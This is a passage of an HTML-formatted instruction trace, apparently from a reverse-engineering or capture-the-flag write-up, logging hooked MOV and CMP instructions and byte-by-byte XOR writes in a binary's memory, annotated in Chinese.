class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x54</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010010b0: mov esi, <span class="number">0</span>xb</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010010ca: cmp esi, <span class="number">0</span>x17</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10010c4]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010010d1: mov esi, <span class="number">0</span>x2e</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000654: mov esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100066e: cmp esi, <span class="number">0</span>x3b</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x2D</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001487: mov esi, <span class="number">0</span>x18</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010014a1: cmp esi, <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100149b]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span 